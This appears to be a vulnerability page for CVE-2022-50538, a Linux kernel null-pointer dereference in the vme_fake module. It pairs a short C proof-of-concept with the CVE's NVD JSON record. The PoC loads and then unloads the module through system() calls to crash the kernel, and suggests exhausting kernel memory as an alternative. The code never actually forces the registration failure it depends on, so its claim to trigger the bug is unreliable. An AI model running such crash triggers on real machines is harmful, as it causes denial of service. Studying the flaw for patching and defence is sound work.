CVE-2022-50538

/* CVE-2022-50538 PoC - Trigger kernel crash via VME module load/unload * This PoC demonstrates how to trigger the null-pointer dereference * in fake_init() by causing __root_device_register() to fail * and then unloading the module. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char *argv[]) { // Step 1: Attempt to load the VME fake module // The fake_init() function calls __root_device_register() // which may fail under certain memory conditions printf("[*] Attempting to load vme_fake module...\n"); int ret = system("modprobe vme_fake 2>/dev/null || insmod /lib/modules/$(uname -r)/kernel/drivers/staging/vme/vme_fake.ko 2>/dev/null"); if (ret != 0) { printf("[-] Module load returned non-zero (may indicate init failure)\n"); } // Step 2: Immediately unload the module // If __root_device_register() failed but was not checked, // the exit function will try to unregister an invalid device printf("[*] Unloading vme_fake module to trigger crash...\n"); ret = system("rmmod vme_fake 2>/dev/null || modprobe -r vme_fake 2>/dev/null"); printf("[*] Done. Check dmesg for kernel panic if vulnerable.\n"); return 0; } /* * Alternative: Trigger via /sys/module manipulation or by exhausting * kernel memory before module load to force __root_device_register() failure. * * Kernel crash trace expected: * general protection fault, probably for non-canonical address * RIP: 0010:root_device_unregister+0x26/0x60 * Call Trace: * __x64_sys_delete_module+0x34f/0x540 * do_syscall_64+0x38/0x90 * entry_SYSCALL_64_after_hwframe+0x63/0xcd */

{"cve": {"id": "CVE-2022-50538", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:38.067", "lastModified": "2026-02-26T23:16:52.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvme: Fix error not catched in fake_init()\n\nIn fake_init(), __root_device_register() is possible to fail but it's\nignored, which can cause unregistering vme_root fail when exit.\n\n general protection fault,\n probably for non-canonical address 0xdffffc000000008c\n KASAN: null-ptr-deref in range [0x0000000000000460-0x0000000000000467]\n RIP: 0010:root_device_unregister+0x26/0x60\n Call Trace:\n <TASK>\n __x64_sys_delete_module+0x34f/0x540\n do_syscall_64+0x38/0x90\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nReturn error when __root_device_register() fails."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9", "versionEndExcluding": "4.9.337", "matchCriteriaId": "7D6DC79F-1861-4BF0-8870-70205F5E9541"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/09be0e7ac5f9374b6f8de72c89ed67129af71f65", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/37d3de40c1ffb6a5e626bf46ff5ef5766c824e2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4bc217b25ea81034fad8e33fd33e4659f086421d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/60ff9bd4ffc87bace581e235a6728f5ac8e5071f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/69b43937f14bdc3594f57f1a507a14f3d1187136", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7bef797d707f1744f71156b21d41e3b8c946631f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a2a93546d414c7fe4862b87183fb737d1300d9d2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e831fdd60e5863ee03173baf5a0f7c5450b44381", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f3f65c4177846c483bf009f8c512ab04b3c62466", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}